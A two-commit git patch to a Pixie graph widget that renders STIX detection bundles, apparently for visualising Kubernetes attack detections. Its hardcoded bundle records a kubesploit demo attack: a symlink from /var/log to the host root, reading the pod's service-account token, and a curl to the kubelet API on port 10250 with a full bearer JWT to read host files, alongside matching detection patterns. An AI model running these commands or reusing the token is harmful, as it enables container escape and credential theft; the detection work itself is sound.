From fb941f347dffc669a424fb4c6c17dc50bb2a8513 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20Berk=20G=C3=BCr=C3=A7ay?= Date: Thu, 5 Jun 2025 15:30:22 +0000 Subject: [PATCH 1/2] Add stix object rendering for pixie graph. All graph networks will render only the fixed stix object. --- .../graph/request-graph-manager.ts | 306 +++++++++++++++++- 1 file changed, 305 insertions(+), 1 deletion(-) diff --git a/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts b/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts index 344df8fd076..059952225b9 100644 --- a/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts +++ b/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts @@ -363,7 +363,7 @@ export class RequestGraphManager { this.finalizeGraph(nodeMap, clusteredNodeMap, clusteredEdgesMap, display, semTypes); } - private finalizeGraph(nodeMap: Map, clusteredNodeMap: Map, + private oldFinalizeGraph(nodeMap: Map, clusteredNodeMap: Map, clusteredEdgesMap: Map>, display: RequestGraphDisplay, semTypes: { [key: string]: SemanticType }): void { nodeMap.forEach((value) => { @@ -381,4 +381,308 @@ export class RequestGraphManager { }); }); } + + private finalizeGraph( + nodeMap: Map, + clusteredNodeMap: Map, + clusteredEdgesMap: Map>, + display: RequestGraphDisplay, + semTypes: { [key: string]: SemanticType }): void { + const rawData = { + "type": "bundle", + "id": "bundle--b0a0ae1b-924c-4028-a002-76eb2a28628b", + "spec_version": "2.1", + "objects": [ + { + "type": "process", + "name": "curl https://10.1.0.1:10250/logs/root_link/var/lib/kubelet/", + "id": "process--250315T18453114948f67154d1000315083g", + "pid": 315083, + "command_line": "/bin/bash -c \"curl -sk -H \"Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im9SRktYamNyUVg1LUp3anlkLWdDLU9FMmhmYTV2aTJQTVo5bXQ2YVM0d0kifQ.eyJhdWQiOlsiaHR0cHM6Ly9jb250YWluZXIuZ29vZ2xlYXBpcy5jb20vdjEvcHJvamVjdHMvYWRscy11dmJibXl6Zmxmc2oycnBwYWFrMGxmbGFxL2xvY2F0aW9ucy9ldXJvcGUtd2VzdDEvY2x1c3RlcnMvazhzLWNhYXMtMDAwOC1iZXRhIl0sImV4cCI6MTc3MzU5ODM0MiwiaWF0IjoxNzQyMDYyMzQyLCJpc3MiOiJodHRwczovL2NvbnRhaW5lci5nb29nbGVhcGlzLmNvbS92MS9wcm9qZWN0cy9hZGxzLXV2YmJteXpmbGZzajJycHBhYWswbGZsYXEvbG9jYXRpb25zL2V1cm9wZS13ZXN0MS9jbHVzdGVycy9rOHMtY2Fhcy0wMDA4LWJldGEiLCJqdGkiOiI0NjExZmViMy05NjdlLTQ0NDMtOTU2OC1lMDJhZGQxMGUzZmQiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImRlbW8iLCJub2RlIjp7Im5hbWUiOiJna2UtazhzLWNhYXMtMDAwOC1iZXRhLXVzZXItcG9vbC04MGIwZTcyNC1iZTJmIiwidWlkIjoiNGVhM2Q1NmEtNWIwMC00OTYyLThlYTItNTFjMTFjZTFiNjM1In0sInBvZCI6eyJuYW1lIjoia3ViZXNwbG9pdC1zZXJ2ZXItNTc3Njg4NjRkNi1tbXI3biIsInVpZCI6IjA5ZTlmOTIwLTRjNjQtNGJhYi04YjE3LTQyNDYzZTUyOTg3YSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoidmFybG9nLXNhIiwidWlkIjoiZTgxZTUxMTctMmZlZi00OTUyLWFkYzItOTZkMTNiN2ZjOWEzIn0sIndhcm5hZnRlciI6MTc0MjA2NTk0OX0sIm5iZiI6MTc0MjA2MjM0Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlbW86dmFybG9nLXNhIn0.O7TPAomlR0JGI5d51h1Jq8gszpGrX3u5i5HJN001t1TJRChhiOh23TUfrrzGY6CBlBNDDZs4OSBqzounmXX3t2Wyi8xFi0vl6L6cw7eNRik_BX7yv7E7LmHmLlZc-lgPhuL7Hdo7TNd3KkGCm4bJIsyQPyxsO73e3xi7TLB1oowkkE9Bej27bKawYWls1T-HpO-U6rEB6ubtQok9HEZfIkTklup3ofXLJdxSbT588qLIBmTzils9RNCYSj-sOdv4JuH0QrI4rIZDeRNf2Ls2CbMfuP9Ygue3UkSXooxJwAzlnUW1g5e2mycYpDq50827Rw-jhI10DsoE4Ztx7GiHnQ\" https://10.1.0.1:10250/logs/root_link/var/lib/kubelet/pods/02b73946-93e4-46af-a198-5869e1222a3b/volumes/kubernetes.io~projected/\"", + "cwd": "/", + "created_time": "2025-03-15T18:45:31.144847703Z", + "extensions": { + "flags": "execve rootcwd clone dataArgs", + "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", + "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", + "pod_name": "kubesploit-server-57768864d6-mmr7n", + "namespace": "demo", + "function_name": "", + "parent_pid": null, + "parent_command_line": "None None", + "parent_cwd": null, + "grand_parent_pid": null, + "kprobe0": "", + "kprobe1": "", + "kprobe2": "", + "kprobe3": "", + "kprobe4": "" + } + }, + { + "type": "observed-data", + "id": "observed-data--6063cf78-8b59-447a-90cf-02ff43030914", + "created": "2025-03-17T15:49:48.223286+00:00Z", + "first_observed": "2025-03-17T15:49:48.223286+00:00Z", + "last_observed": "2025-03-17T15:49:48.223286+00:00Z", + "number_observed": 1, + "object_refs": [ + "process--250315T18453114948f67154d1000315083g", + "indicator--kh-ce-var-log-route" + ], + "extensions": { + "alert_name": null, + "correlation": "250315T18453114948f67154d1000315083gke-k8s-caas", + "rule_id": null, + "node_info": { + "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" + }, + "children": "" + } + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea9b45b3-e658-4f63-85ce-f2966450a6bc", + "created": "2025-03-17T15:49:48.281084+00:00Z", + "modified": "2025-03-17T15:49:48.281145+00:00Z", + "relationship_type": "indicates", + "source_ref": "bundle--b0a0ae1b-924c-4028-a002-76eb2a28628b", + "target_ref": "indicator--kh-ce-var-log-route" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--kh-ce-var-log-route", + "name": "CE_VAR_LOG_ROUTE", + "description": "Arbitrary file reads on the host from a node via an exposed /var/log mount by calling to API:10250" + }, + { + "type": "indicator", + "id": "indicator--kh-ce-var-log-route", + "name": "Access NODE-logs via API 10250", + "description": "Access NODE-logs via API at port 10250", + "pattern": "[process:command_line MATCHES '10250/logs/' ]", + "pattern_type": "stix", + "valid_from": "2024-01-01T00:00:00Z" + }, + { + "type": "relationship", + "id": "relationship--kh-ce-var-log-route", + "relationship_type": "indicates", + "source_ref": "indicator--kh-ce-var-log-route", + "target_ref": "attack-pattern--kh-ce-var-log-route" + }, + { + "type": "process", + "id": "process--250315T18445739948f67154d1000314774g", + "name": "ln -s / /var/log/host/root_link", + "pid": 314774, + "command_line": "/usr/bin/ln -s / /var/log/host/root_link", + "cwd": "/", + "created_time": "2025-03-15T18:44:57.390465310Z", + "extensions": { + "flags": "execve rootcwd", + "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", + "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", + "pod_name": "kubesploit-server-57768864d6-mmr7n", + "namespace": "demo", + "function_name": "__x64_sys_symlinkat", + "parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjo0MDc1MDEwMjg1NzI5MjozMTQ3NzQ=", + "parent_command_line": "/bin/bash -c \"ln -s / /var/log/host/root_link\"", + "parent_cwd": "/", + "grand_parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjozODc5NTMyMjk4NTA3NjoyOTk0MTI=", + "kprobe0": "/", + "kprobe1": -100, + "kprobe2": "/var/log/host/root_link", + "kprobe3": "", + "kprobe4": "" + } + }, + { + "type": "observed-data", + "name": "detect-ce-var-log-symlink", + "id": "observed-data--20517b87-876e-40c0-b9ba-04d7564485ad", + "created": "2025-03-17T15:49:45.735778+00:00Z", + "first_observed": "2025-03-17T15:49:45.735778+00:00Z", + "last_observed": "2025-03-17T15:49:45.735778+00:00Z", + "number_observed": 1, + "object_refs": [ + "process--250315T18445739948f67154d1000314774g", + "indicator--kh-ce-var-log-symlink" + ], + "extensions": { + "alert_name": "KPROBE_ACTION_POST", + "correlation": "250315T18445739948f67154d1000314774gke-k8s-caas", + "rule_id": "detect-ce-var-log-symlink", + "node_info": { + "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" + }, + "children": "" + } + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cab63cd7-fa1a-4431-b491-7c28674684f8", + "created": "2025-03-17T15:49:45.855959+00:00Z", + "modified": "2025-03-17T15:49:45.856013+00:00Z", + "relationship_type": "indicates", + "source_ref": "bundle--0c2d7ce5-f3ce-496f-a35f-2a5bf73d21c8", + "target_ref": "indicator--kh-ce-var-log-symlink" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--kh-ce-var-log-symlink", + "name": "CE_VAR_LOG_SYMLINK", + "description": "Arbitrary file reads on the host from a node via an exposed /var/log mount.." + }, + { + "type": "indicator", + "id": "indicator--kh-ce-var-log-symlink", + "name": "Symlink to log dir", + "description": "Symbolic link to /var/log/root_link", + "pattern": "[(process:command_line MATCHES 'ln -s' AND process:extensions.function_name MATCHES '__x64_sys_symlinkat' OR process:extensions.kprobe2.string_arg MATCHES 'var/log') OR (process:command_line MATCHES '/proc/net/route' OR process:command_line MATCHES 'ip')]", + "pattern_type": "stix", + "valid_from": "2024-01-01T00:00:00Z" + }, + { + "type": "relationship", + "id": "relationship--kh-ce-var-log-symlink", + "relationship_type": "indicates", + "source_ref": "indicator--kh-ce-var-log-symlink", + "target_ref": "attack-pattern--kh-ce-var-log-symlink" + }, + { + "type": "relationship", + "id": "relationship--kh-ce-var-log-route-token", + "relationship_type": "indicates", + "source_ref": "attack-pattern--kh-ce-var-log-token", + "target_ref": "attack-pattern--kh-ce-var-log-route" + }, + { + "type": "process", + "name": "secrets/2025_03_15_18_12_22/token", + "id": "process--250315T18451306948f67154d1000314924g", + "pid": 314924, + "command_line": "/usr/bin/cat //var/run/secrets/kubernetes.io/serviceaccount/token", + "cwd": "/", + "created_time": "2025-03-15T18:45:13.069624091Z", + "extensions": { + "flags": "execve rootcwd", + "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", + "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", + "pod_name": "kubesploit-server-57768864d6-mmr7n", + "namespace": "demo", + "function_name": "security_file_permission", + "parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjo0MDc2NTc4MjUzNDIwNDozMTQ5MjQ=", + "parent_command_line": "/bin/bash -c \"cat //var/run/secrets/kubernetes.io/serviceaccount/token\"", + "parent_cwd": "/", + "grand_parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjozODc5NTMyMjk4NTA3NjoyOTk0MTI=", + "kprobe0": { + "path": "/run/secrets/kubernetes.io/serviceaccount/..2025_03_15_18_12_22.1866428227/token", + "permission": "-rw-r--r--" + }, + "kprobe1": 4, + "kprobe2": "", + "kprobe3": "", + "kprobe4": "" + } + }, + { + "type": "observed-data", + "name": "enumerate-service-account", + "id": "observed-data--e472c5bd-c252-477a-ba1e-2a85544539c1", + "created": "2025-03-17T18:32:20.968448+00:00Z", + "first_observed": "2025-03-17T18:32:20.968448+00:00Z", + "last_observed": "2025-03-17T18:32:20.968448+00:00Z", + "number_observed": 1, + "object_refs": [ + "process--250315T18451306948f67154d1000314924g", + "indicator--kh-ce-var-log-token" + ], + "extensions": { + "alert_name": "KPROBE_ACTION_POST", + "correlation": "250315T18451306948f67154d1000314924gke-k8s-caas", + "rule_id": "enumerate-service-account", + "node_info": { + "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" + }, + "children": "" + } + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76baa894-00c3-4ab8-b43c-d1e1a086f996", + "created": "2025-03-17T18:32:21.039726+00:00Z", + "modified": "2025-03-17T18:32:21.039778+00:00Z", + "relationship_type": "indicates", + "source_ref": "bundle--4d8d8ff1-daa7-4421-b4bd-23de1259202c", + "target_ref": "indicator--kh-ce-var-log-token" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--kh-ce-var-log-token", + "name": "CE_VAR_LOG_TOKEN", + "description": "In order to access the logs, the pods own token must be used" + }, + { + "type": "indicator", + "id": "indicator--kh-ce-var-log-token", + "name": "pod token access", + "description": "pod token used", + "pattern": "[process:extensions.function_name MATCHES 'security_file_permission' ]", + "pattern_type": "stix", + "valid_from": "2024-01-01T00:00:00Z" + }, + { + "type": "relationship", + "id": "relationship--kh-ce-var-log-token", + "relationship_type": "indicates", + "source_ref": "indicator--kh-ce-var-log-token", + "target_ref": "attack-pattern--kh-ce-var-log-token" + }, + { + "type": "relationship", + "id": "relationship--kh-ce-var-log-token-symlink", + "relationship_type": "indicates", + "source_ref": "attack-pattern--kh-ce-var-log-symlink", + "target_ref": "attack-pattern--kh-ce-var-log-token" + } + ]} + + this.nodes.clear(); + this.edges.clear(); + this.clusteredNodes.clear(); + this.clusteredEdges.clear(); + rawData.objects.forEach((obj) => { + if (obj.type !== 'relationship') { + this.nodes.add({ + id: obj.id, + label: obj.name || obj.type, + title: JSON.stringify(obj, null, 2), + }); + } + + if (obj.type === 'relationship' && obj.source_ref && obj.target_ref) { + this.edges.add({ + id: obj.id, + from: obj.source_ref, + to: obj.target_ref, + label: obj.relationship_type, + title: JSON.stringify(obj, null, 2), + }); + } + if (obj.type === 'observed-data' && Array.isArray(obj.object_refs)) { + obj.object_refs.forEach((refId) => { + this.edges.add({ + from: obj.id, + to: refId, + label: 'refers-to', + title: `Observed-data refers-to ${refId}`, + }); + }); + } + }); + } } From 8bd590435f63f5ed38e988ffdee56e7da69843cb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20Berk=20G=C3=BCr=C3=A7ay?= Date: Fri, 6 Jun 2025 13:51:05 +0000 Subject: [PATCH 2/2] Add feature to render the stix bundle. Update the network layout. Set default scratch pad script to stix --- src/ui/src/containers/App/scripts-context.tsx | 54 ++- .../live-widgets/graph/graph-utils.ts | 4 +- .../graph/request-graph-manager.ts | 376 ++++-------------- .../live-widgets/graph/request-graph.tsx | 4 +- 4 files changed, 129 insertions(+), 309 deletions(-) diff --git a/src/ui/src/containers/App/scripts-context.tsx b/src/ui/src/containers/App/scripts-context.tsx index d9e1e6e82e1..81eeaad162c 100644 --- a/src/ui/src/containers/App/scripts-context.tsx +++ b/src/ui/src/containers/App/scripts-context.tsx @@ -43,13 +43,53 @@ export const SCRATCH_SCRIPT: Script = { description: 'A clean slate for one-off scripts.\n' + 'This is ephemeral; it disappears upon changing scripts.', vis: { - variables: [], - widgets: [], - globalFuncs: [], - }, - code: 'import px\n\n' - + '# Use this scratch pad to write and run one-off scripts.\n' - + '# If you switch to another script, refresh, or close this browser tab, this script will disappear.\n\n', + "variables": [], + "widgets": [ + { + "name": "Stix Bundle Graph", + "position": { + "x": 0, + "y": 0, + "w": 12, + "h": 5 + }, + "func": { + "name": "fetch_stix", + "args": [] + }, + "displaySpec": { + "@type": "types.px.dev/px.vispb.RequestGraph" + } + }, + { + "name": "Stix Bundles", + "position": { + "x": 0, + "y": 3, + "w": 12, + "h": 3 + }, + "func": { + "name": "fetch_all_stix", + "args": [] + }, + "displaySpec": { + "@type": "types.px.dev/px.vispb.Table" + } + } + ], + "globalFuncs": [] +}, + code: `import px + +def fetch_stix(): + df = px.DataFrame(table="stix.json") + return df[["stix_bundle"]] + +def fetch_all_stix(): + df = px.DataFrame(table="stix.json") + return df +`, hidden: false, }; diff --git a/src/ui/src/containers/live-widgets/graph/graph-utils.ts b/src/ui/src/containers/live-widgets/graph/graph-utils.ts index d7a219a5e6d..2a2d24e9689 100644 --- a/src/ui/src/containers/live-widgets/graph/graph-utils.ts +++ b/src/ui/src/containers/live-widgets/graph/graph-utils.ts @@ -49,10 +49,10 @@ export function getGraphOptions(theme: Theme, edgeLength: number): Options { solver: 'forceAtlas2Based', forceAtlas2Based: { gravitationalConstant: -50, - springLength: edgeLength > 0 ? edgeLength : 100, + springLength: edgeLength > 0 ? edgeLength : 150, }, hierarchicalRepulsion: { - nodeDistance: 100, + nodeDistance: 150, }, stabilization: { iterations: 250, diff --git a/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts b/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts index 059952225b9..c671e223db3 100644 --- a/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts +++ b/src/ui/src/containers/live-widgets/graph/request-graph-manager.ts @@ -317,6 +317,12 @@ export class RequestGraphManager { const nodeMap = new Map(); // Edges grouped by pod/IP are automatically unique, // so we don't need an equivalent to `clusteredEdgesMap` here. + + const stixBundleData = data.find((d) => d["stix_bundle"]); + if (stixBundleData !== undefined) { + this.renderStix(JSON.parse(stixBundleData["stix_bundle"])); + return + } // Capture the semantic types for the columns. const semTypes: { [key: string]: SemanticType } = {}; @@ -363,7 +369,7 @@ export class RequestGraphManager { this.finalizeGraph(nodeMap, clusteredNodeMap, clusteredEdgesMap, display, semTypes); } - private oldFinalizeGraph(nodeMap: Map, clusteredNodeMap: Map, + private finalizeGraph(nodeMap: Map, clusteredNodeMap: Map, clusteredEdgesMap: Map>, display: RequestGraphDisplay, semTypes: { [key: string]: SemanticType }): void { nodeMap.forEach((value) => { @@ -382,307 +388,81 @@ export class RequestGraphManager { }); } - private finalizeGraph( - nodeMap: Map, - clusteredNodeMap: Map, - clusteredEdgesMap: Map>, - display: RequestGraphDisplay, - semTypes: { [key: string]: SemanticType }): void { - const rawData = { - "type": "bundle", - "id": "bundle--b0a0ae1b-924c-4028-a002-76eb2a28628b", - "spec_version": "2.1", - "objects": [ - { - "type": "process", - "name": "curl https://10.1.0.1:10250/logs/root_link/var/lib/kubelet/", - "id": "process--250315T18453114948f67154d1000315083g", - "pid": 315083, - "command_line": "/bin/bash -c \"curl -sk -H \"Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im9SRktYamNyUVg1LUp3anlkLWdDLU9FMmhmYTV2aTJQTVo5bXQ2YVM0d0kifQ.eyJhdWQiOlsiaHR0cHM6Ly9jb250YWluZXIuZ29vZ2xlYXBpcy5jb20vdjEvcHJvamVjdHMvYWRscy11dmJibXl6Zmxmc2oycnBwYWFrMGxmbGFxL2xvY2F0aW9ucy9ldXJvcGUtd2VzdDEvY2x1c3RlcnMvazhzLWNhYXMtMDAwOC1iZXRhIl0sImV4cCI6MTc3MzU5ODM0MiwiaWF0IjoxNzQyMDYyMzQyLCJpc3MiOiJodHRwczovL2NvbnRhaW5lci5nb29nbGVhcGlzLmNvbS92MS9wcm9qZWN0cy9hZGxzLXV2YmJteXpmbGZzajJycHBhYWswbGZsYXEvbG9jYXRpb25zL2V1cm9wZS13ZXN0MS9jbHVzdGVycy9rOHMtY2Fhcy0wMDA4LWJldGEiLCJqdGkiOiI0NjExZmViMy05NjdlLTQ0NDMtOTU2OC1lMDJhZGQxMGUzZmQiLCJrdWJlcm5ldGVzLmlvIjp7Im5hbWVzcGFjZSI6ImRlbW8iLCJub2RlIjp7Im5hbWUiOiJna2UtazhzLWNhYXMtMDAwOC1iZXRhLXVzZXItcG9vbC04MGIwZTcyNC1iZTJmIiwidWlkIjoiNGVhM2Q1NmEtNWIwMC00OTYyLThlYTItNTFjMTFjZTFiNjM1In0sInBvZCI6eyJuYW1lIjoia3ViZXNwbG9pdC1zZXJ2ZXItNTc3Njg4NjRkNi1tbXI3biIsInVpZCI6IjA5ZTlmOTIwLTRjNjQtNGJhYi04YjE3LTQyNDYzZTUyOTg3YSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoidmFybG9nLXNhIiwidWlkIjoiZTgxZTUxMTctMmZlZi00OTUyLWFkYzItOTZkMTNiN2ZjOWEzIn0sIndhcm5hZnRlciI6MTc0MjA2NTk0OX0sIm5iZiI6MTc0MjA2MjM0Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlbW86dmFybG9nLXNhIn0.O7TPAomlR0JGI5d51h1Jq8gszpGrX3u5i5HJN001t1TJRChhiOh23TUfrrzGY6CBlBNDDZs4OSBqzounmXX3t2Wyi8xFi0vl6L6cw7eNRik_BX7yv7E7LmHmLlZc-lgPhuL7Hdo7TNd3KkGCm4bJIsyQPyxsO73e3xi7TLB1oowkkE9Bej27bKawYWls1T-HpO-U6rEB6ubtQok9HEZfIkTklup3ofXLJdxSbT588qLIBmTzils9RNCYSj-sOdv4JuH0QrI4rIZDeRNf2Ls2CbMfuP9Ygue3UkSXooxJwAzlnUW1g5e2mycYpDq50827Rw-jhI10DsoE4Ztx7GiHnQ\" https://10.1.0.1:10250/logs/root_link/var/lib/kubelet/pods/02b73946-93e4-46af-a198-5869e1222a3b/volumes/kubernetes.io~projected/\"", - "cwd": "/", - "created_time": "2025-03-15T18:45:31.144847703Z", - "extensions": { - "flags": "execve rootcwd clone dataArgs", - "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", - "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", - "pod_name": "kubesploit-server-57768864d6-mmr7n", - "namespace": "demo", - "function_name": "", - "parent_pid": null, - "parent_command_line": "None None", - "parent_cwd": null, - "grand_parent_pid": null, - "kprobe0": "", - "kprobe1": "", - "kprobe2": "", - "kprobe3": "", - "kprobe4": "" - } - }, - { - "type": "observed-data", - "id": "observed-data--6063cf78-8b59-447a-90cf-02ff43030914", - "created": "2025-03-17T15:49:48.223286+00:00Z", - "first_observed": "2025-03-17T15:49:48.223286+00:00Z", - "last_observed": "2025-03-17T15:49:48.223286+00:00Z", - "number_observed": 1, - "object_refs": [ - "process--250315T18453114948f67154d1000315083g", - "indicator--kh-ce-var-log-route" - ], - "extensions": { - "alert_name": null, - "correlation": "250315T18453114948f67154d1000315083gke-k8s-caas", - "rule_id": null, - "node_info": { - "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" - }, - "children": "" - } - }, - { - "type": "relationship", - "spec_version": "2.1", - "id": "relationship--ea9b45b3-e658-4f63-85ce-f2966450a6bc", - "created": "2025-03-17T15:49:48.281084+00:00Z", - "modified": "2025-03-17T15:49:48.281145+00:00Z", - "relationship_type": "indicates", - "source_ref": "bundle--b0a0ae1b-924c-4028-a002-76eb2a28628b", - "target_ref": "indicator--kh-ce-var-log-route" - }, - { - "type": "attack-pattern", - "id": "attack-pattern--kh-ce-var-log-route", - "name": "CE_VAR_LOG_ROUTE", - "description": "Arbitrary file reads on the host from a node via an exposed /var/log mount by calling to API:10250" - }, - { - "type": "indicator", - "id": "indicator--kh-ce-var-log-route", - "name": "Access NODE-logs via API 10250", - "description": "Access NODE-logs via API at port 10250", - "pattern": "[process:command_line MATCHES '10250/logs/' ]", - "pattern_type": "stix", - "valid_from": "2024-01-01T00:00:00Z" - }, - { - "type": "relationship", - "id": "relationship--kh-ce-var-log-route", - "relationship_type": "indicates", - "source_ref": "indicator--kh-ce-var-log-route", - "target_ref": "attack-pattern--kh-ce-var-log-route" - }, - { - "type": "process", - "id": "process--250315T18445739948f67154d1000314774g", - "name": "ln -s / /var/log/host/root_link", - "pid": 314774, - "command_line": "/usr/bin/ln -s / /var/log/host/root_link", - "cwd": "/", - "created_time": "2025-03-15T18:44:57.390465310Z", - "extensions": { - "flags": "execve rootcwd", - "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", - "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", - "pod_name": "kubesploit-server-57768864d6-mmr7n", - "namespace": "demo", - "function_name": "__x64_sys_symlinkat", - "parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjo0MDc1MDEwMjg1NzI5MjozMTQ3NzQ=", - "parent_command_line": "/bin/bash -c \"ln -s / /var/log/host/root_link\"", - "parent_cwd": "/", - "grand_parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjozODc5NTMyMjk4NTA3NjoyOTk0MTI=", - "kprobe0": "/", - "kprobe1": -100, - "kprobe2": "/var/log/host/root_link", - "kprobe3": "", - "kprobe4": "" - } - }, - { - "type": "observed-data", - "name": "detect-ce-var-log-symlink", - "id": "observed-data--20517b87-876e-40c0-b9ba-04d7564485ad", - "created": "2025-03-17T15:49:45.735778+00:00Z", - "first_observed": "2025-03-17T15:49:45.735778+00:00Z", - "last_observed": "2025-03-17T15:49:45.735778+00:00Z", - "number_observed": 1, - "object_refs": [ - "process--250315T18445739948f67154d1000314774g", - "indicator--kh-ce-var-log-symlink" - ], - "extensions": { - "alert_name": "KPROBE_ACTION_POST", - "correlation": "250315T18445739948f67154d1000314774gke-k8s-caas", - "rule_id": "detect-ce-var-log-symlink", - "node_info": { - "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" - }, - "children": "" - } - }, - { - "type": "relationship", - "spec_version": "2.1", - "id": "relationship--cab63cd7-fa1a-4431-b491-7c28674684f8", - "created": "2025-03-17T15:49:45.855959+00:00Z", - "modified": "2025-03-17T15:49:45.856013+00:00Z", - "relationship_type": "indicates", - "source_ref": "bundle--0c2d7ce5-f3ce-496f-a35f-2a5bf73d21c8", - "target_ref": "indicator--kh-ce-var-log-symlink" - }, - { - "type": "attack-pattern", - "id": "attack-pattern--kh-ce-var-log-symlink", - "name": "CE_VAR_LOG_SYMLINK", - "description": "Arbitrary file reads on the host from a node via an exposed /var/log mount.." - }, - { - "type": "indicator", - "id": "indicator--kh-ce-var-log-symlink", - "name": "Symlink to log dir", - "description": "Symbolic link to /var/log/root_link", - "pattern": "[(process:command_line MATCHES 'ln -s' AND process:extensions.function_name MATCHES '__x64_sys_symlinkat' OR process:extensions.kprobe2.string_arg MATCHES 'var/log') OR (process:command_line MATCHES '/proc/net/route' OR process:command_line MATCHES 'ip')]", - "pattern_type": "stix", - "valid_from": "2024-01-01T00:00:00Z" - }, - { - "type": "relationship", - "id": "relationship--kh-ce-var-log-symlink", - "relationship_type": "indicates", - "source_ref": "indicator--kh-ce-var-log-symlink", - "target_ref": "attack-pattern--kh-ce-var-log-symlink" - }, - { - "type": "relationship", - "id": "relationship--kh-ce-var-log-route-token", - "relationship_type": "indicates", - "source_ref": "attack-pattern--kh-ce-var-log-token", - "target_ref": "attack-pattern--kh-ce-var-log-route" - }, - { - "type": "process", - "name": "secrets/2025_03_15_18_12_22/token", - "id": "process--250315T18451306948f67154d1000314924g", - "pid": 314924, - "command_line": "/usr/bin/cat //var/run/secrets/kubernetes.io/serviceaccount/token", - "cwd": "/", - "created_time": "2025-03-15T18:45:13.069624091Z", - "extensions": { - "flags": "execve rootcwd", - "image_id": "ghcr.io/k8sstormcenter/kubesploit-server@sha256:e7beb9d827170b6f257e3cc249dce199debc88b58ec75ad497d783f54337e085", - "container_id": "containerd://948f67154d10d0090cae5d7c660f3cc571306e030acf79cf5bbdf1310bb69db9", - "pod_name": "kubesploit-server-57768864d6-mmr7n", - "namespace": "demo", - "function_name": "security_file_permission", - "parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjo0MDc2NTc4MjUzNDIwNDozMTQ5MjQ=", - "parent_command_line": "/bin/bash -c \"cat //var/run/secrets/kubernetes.io/serviceaccount/token\"", - "parent_cwd": "/", - "grand_parent_pid": "Z2tlLWs4cy1jYWFzLTAwMDgtYmV0YS11c2VyLXBvb2wtODBiMGU3MjQtYmUyZjozODc5NTMyMjk4NTA3NjoyOTk0MTI=", - "kprobe0": { - "path": "/run/secrets/kubernetes.io/serviceaccount/..2025_03_15_18_12_22.1866428227/token", - "permission": "-rw-r--r--" - }, - "kprobe1": 4, - "kprobe2": "", - "kprobe3": "", - "kprobe4": "" - } - }, - { - "type": "observed-data", - "name": "enumerate-service-account", - "id": "observed-data--e472c5bd-c252-477a-ba1e-2a85544539c1", - "created": "2025-03-17T18:32:20.968448+00:00Z", - "first_observed": "2025-03-17T18:32:20.968448+00:00Z", - "last_observed": "2025-03-17T18:32:20.968448+00:00Z", - "number_observed": 1, - "object_refs": [ - "process--250315T18451306948f67154d1000314924g", - "indicator--kh-ce-var-log-token" - ], - "extensions": { - "alert_name": "KPROBE_ACTION_POST", - "correlation": "250315T18451306948f67154d1000314924gke-k8s-caas", - "rule_id": "enumerate-service-account", - "node_info": { - "node_name": "gke-k8s-caas-0008-beta-user-pool-80b0e724-be2f" - }, - "children": "" - } - }, - { - "type": "relationship", - "spec_version": "2.1", - "id": 